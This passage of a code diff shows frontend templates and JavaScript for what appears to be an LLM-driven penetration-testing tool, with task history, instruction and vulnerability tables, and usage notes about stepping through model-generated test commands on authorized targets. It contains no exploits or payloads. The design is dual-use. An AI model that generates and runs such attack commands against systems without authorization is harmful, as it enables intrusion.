tdEnd.textContent = task[5] || "";
tr.appendChild(tdEnd);
const tdRisk = document.createElement("td");
tdRisk.textContent = (task[2] === 0) ? "安全" : "存在风险";
tr.appendChild(tdRisk);
const tdModel = document.createElement("td");
model_test = ""
if(task[3]===1){
model_test="DeepSeek";
}
else if(task[3]===2){
model_test="GPT-O3";
}
else{
model_test="其他模型";
}
tdModel.textContent = model_test;
tr.appendChild(tdModel);
const tdAction = document.createElement("td");
// 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm";
btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView);
// 删除按钮(示例)
const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-1";
btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel);
tr.appendChild(tdAction);
tbody.appendChild(tr);
});
// 补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
for (let j = 0; j < 7; j++) {
const td = document.createElement("td");
td.textContent = "\u00A0";
tr.appendChild(td);
}
tbody.appendChild(tr);
}
updatePagination();
}
// 更新分页按钮
function updatePagination() {
const totalPages = Math.ceil(allHistasks.length / pageSize);
document.getElementById("prevPage").dataset.page = currentPage > 1 ? currentPage - 1 : 1;
document.getElementById("nextPage").dataset.page = currentPage < totalPages ? currentPage + 1 : totalPages;
}
// 分页按钮点击事件
document.getElementById("prevPage").addEventListener("click", function(e) {
e.preventDefault();
const page = parseInt(this.dataset.page, 10);
renderHistasksTable(page);
});
document.getElementById("nextPage").addEventListener("click", function(e) {
e.preventDefault();
const page = parseInt(this.dataset.page, 10);
renderHistasksTable(page);
});
// 查询按钮事件,调用 /api/task/histasks 接口获取数据(示例)
document.getElementById("btnQuery").addEventListener("click", async function() {
// 此处可拼接获取表单数据条件,示例直接调用接口
/*
target_name = data.get("target_name")
safe_rank = data.get("safe_rank")
llm_type = data.get("llm_type")
start_time= data.get("start_time")
end_time= data.get("end_time")
* */
const target_name = document.getElementById("testTarget").value.trim();
const safe_rank = document.getElementById("riskLevel").value;
const llm_type = document.getElementById("useModel").value;
const start_time = document.getElementById("startTime").value;
const end_time = document.getElementById("endTime").value;
try {
const res = await fetch("/api/task/histasks", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({target_name,safe_rank,llm_type,start_time,end_time})
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
allHistasks = data.his_tasks || [];
renderHistasksTable(1);
} catch (error) {
console.error("查询任务记录出错:", error);
alert("查询失败!");
}
});
// “查看详情”按钮事件(统一使用模态框显示 task_manager.html)
async function openViewModal(task_id) {
cur_task_id = task_id;
const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false });
viewModal.show();
//查询节点树数据
loadNodeTree(task_id);
//查询指令数据
searchInstructions(1);
//查询漏洞数据
searchVulnerabilities(1);
}
// 删除任务的示例函数
async function confirmDeleteTask(task_id) {
if (confirm("确认删除任务 " + task_id + " 吗?")) {
// 发送删除请求...
try {
const res = await fetch("/api/task/deltask", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
bsuccess = data.bsuccess;
if(bsuccess){
// 1. 从前端缓存里删除这条任务
allHistasks = allHistasks.filter(t => t[0] !== task_id);
// 2. 重新渲染当前页
// 注意:如果删除后当前页已经没有任何数据了,可以让 currentPage--
const totalPages = Math.ceil(allHistasks.length / pageSize) || 1;
if (currentPage > totalPages) {
currentPage = totalPages;
}
renderHistasksTable(currentPage);
// (可选)如果你想做局部删除,而不重画整表,也可以直接:
// btnEl.closest("tr").remove();
alert("删除成功")
}
else{
alert("删除失败:",data.error)
return false;
}
} catch (error) {
console.error("删除任务数据异常:", error);
return false;
}
}
}
// 页面加载时可以自动调用查询接口加载数据
document.addEventListener("DOMContentLoaded", () => {
// 可自动加载数据,或者等待用户点击查询
document.getElementById("btnQuery").click();
//renderHistasksTable(1);
});
</script>
{% endblock %} {% endblock %}

6
web/main/templates/index.html

@ -91,9 +91,9 @@
3.单步的作用是将节点中:待执行的指令进行执行,待提交LLM的数据提交LLM; 3.单步的作用是将节点中:待执行的指令进行执行,待提交LLM的数据提交LLM;
4.顶部的单步是针对整个任务的单步执行,若节点执行状态不一致,会存在某些节点执行测试指令,某些节点提交llm任务的情况,节点树区域的控制是针对该节点的控制; 4.顶部的单步是针对整个任务的单步执行,若节点执行状态不一致,会存在某些节点执行测试指令,某些节点提交llm任务的情况,节点树区域的控制是针对该节点的控制;
5.由于LLM的不一致性,会存在无执行任务,但没有标记完成的任务节点,可作为已完成论; 5.由于LLM的不一致性,会存在无执行任务,但没有标记完成的任务节点,可作为已完成论;
6 6.在单步模式下,若某指令执行的结果错误,可以在查看MSG功能里,修改待提交的执行结果,来保障测试的顺利推进;
7 7.对于已经验证漏洞存在的节点,若LLM返回了测试指令,但没有必要继续验证的话,可以点击该节点的暂停按钮,暂停该节点的测试推进;
8.本工具的使用,仅限于在得到授权的前提下使用,若目标重要性很高,请使用单步模式,确认测试指令的影响后执行。 8.本工具仅限于在得到授权的前提下使用,若目标重要性很高,请使用单步模式,确认测试指令的影响后执行。
</textarea> </textarea>
</div> </div>
</div> </div>

91
web/main/templates/system_manager.html

@ -4,12 +4,103 @@
<!-- 页面样式块 --> <!-- 页面样式块 -->
{% block style %} {% block style %}
.btn-blue {
background-color: #007bff;
color: white;
}
.btn-blue:hover {
background-color: #0056b3;
}
{% endblock %} {% endblock %}
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<div class="container d-flex flex-column" >
<!-- 系统信息区域 -->
<div class="container mt-4">
<div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">系统版本号:</label></div>
<div class="col-md-9"><p class="form-control-plaintext" id="system_version">1.0.0.1</p></div>
</div>
<div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">升级包:</label></div>
<div class="col-md-6"><input type="file" class="form-control" id="upgrade-system"></div>
<div class="col-md-3"><button class="btn btn-blue" id="upsystem">升级</button></div>
</div>
<div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">设备ID:</label></div>
<div class="col-md-9"><p class="form-control-plaintext" id="dev_ID">1.0.0.1</p></div>
</div>
<div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">设备外网IP:</label></div>
<div class="col-md-6"><input type="text" id="dev_IP" style="width:100%"></div>
<div class="col-md-3"><button class="btn btn-blue" id="updateIP">保存</button></div>
</div>
</div>
</div>
</div>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->
{% block script %} {% block script %}
<script>
document.addEventListener('DOMContentLoaded', function () {
get_system_info()
});
document.getElementById("upsystem").addEventListener("click",()=>upgrade_system())
document.getElementById("updateIP").addEventListener("click",()=>update_ip())
//系统升级
async function upgrade_system(){
alert("点击了系统升级按钮");
}
//获取系统信息
async function get_system_info(){
try {
const res = await fetch("/api/system/getinfo");
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
version = data.version;
dev_ip = data.local_ip;
document.getElementById("system_version").textContent = version;
document.getElementById("dev_IP").value = dev_ip;
} catch (error) {
console.error("获取系统信息出错:", error);
}
}
//更新外网IP
async function update_ip(){
const local_ip = document.getElementById("dev_IP").value;
try {
const res = await fetch("/api/system/updateip", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({local_ip}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
let bsuccess = data.bsuccess;
let error = data.error;
if(bsuccess){
alert("修改IP地址成功");
}else {
alert("修改IP地址失败:"+error);
}
} catch (error) {
console.error("更新IP地址出错:", error);
}
}
</script>
{% endblock %} {% endblock %}

30
web/main/templates/task_manager.html

@ -314,14 +314,29 @@
<button class="btn btn-primary" id="instrSearchBtn"> <button class="btn btn-primary" id="instrSearchBtn">
查询 查询
</button> </button>
<button class="btn btn-primary" id="instrExportBtn">
导出
</button>
</div> </div>
</div> </div>
<table class="table table-bordered table-hover" id="instrTable"> <table class="table table-bordered table-hover" id="instrTable" style="width: 100%; table-layout: fixed;">
<colgroup>
<!-- 第一列:序号,固定宽度或百分比 -->
<col style="width: 5%;">
<!-- 第二列:节点路径,例如 25% -->
<col style="width: 15%;">
<!-- 第三列:指令序号,固定宽度 -->
<col style="width: 5%;">
<!-- 第四列:执行指令,设置为固定宽度或者百分比 -->
<col style="width: 30%;" class="wrap-cell">
<!-- 第五列:执行结果,占用剩余所有宽度 -->
<col style="width: auto;">
</colgroup>
<thead> <thead>
<tr> <tr>
<th class="seq-col">序号</th> <th>序号</th>
<th>节点路径</th> <th>节点路径</th>
<th>指令序号</th> <th>指序</th>
<th>执行指令</th> <th>执行指令</th>
<th>执行结果</th> <th>执行结果</th>
</tr> </tr>
@ -371,15 +386,18 @@
<div class="col-3"> <div class="col-3">
<select class="form-select" id="vulLevel"> <select class="form-select" id="vulLevel">
<option value="">漏洞级别</option> <option value="">漏洞级别</option>
<option value="低"></option> <option value="低"></option>
<option value="中"></option> <option value="中"></option>
<option value="高"></option> <option value="高"></option>
</select> </select>
</div> </div>
<div class="col-2"> <div class="col-2">
<button class="btn btn-primary" id="vulSearchBtn"> <button class="btn btn-primary" id="vulSearchBtn">
查询 查询
</button> </button>
<button class="btn btn-primary" id="vulExportBtn">
导出
</button>
</div> </div>
</div> </div>
<table class="table table-bordered table-hover" id="vulTable"> <table class="table table-bordered table-hover" id="vulTable">

3
web/main/templates/task_manager_modal.html

@ -189,7 +189,7 @@
<form id="pendingForm"> <form id="pendingForm">
<div class="mb-3"> <div class="mb-3">
<label for="llmtype" class="form-label fw-bold" style="font-size:0.9rem">llmtype:</label> <label for="llmtype" class="form-label fw-bold" style="font-size:0.9rem">llmtype:</label>
<input type="text" class="form-control" id="llmtype" placeholder="请输入 llmtype"> <input type="text" class="form-control" id="llmtype" placeholder="请输入 llmtype" disabled>
</div> </div>
<div class="mb-3"> <div class="mb-3">
<label for="pendingContent" class="form-label fw-bold" style="font-size:0.9rem">内容:</label> <label for="pendingContent" class="form-label fw-bold" style="font-size:0.9rem">内容:</label>
@ -199,6 +199,7 @@
<div class="text-end"> <div class="text-end">
<button type="button" class="btn btn-primary" id="btnSavePending">保存</button> <button type="button" class="btn btn-primary" id="btnSavePending">保存</button>
<button type="button" class="btn btn-primary" id="btnNeedInstr">请求指令</button> <button type="button" class="btn btn-primary" id="btnNeedInstr">请求指令</button>
<!-- <button type="button" class="btn btn-primary" id="btnRedoInstr">重新执行</button>-->
</div> </div>
</form> </form>
</div> </div>

1
web/main/templates/vul_manager.html

@ -8,6 +8,7 @@
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->

Loading…
Cancel
Save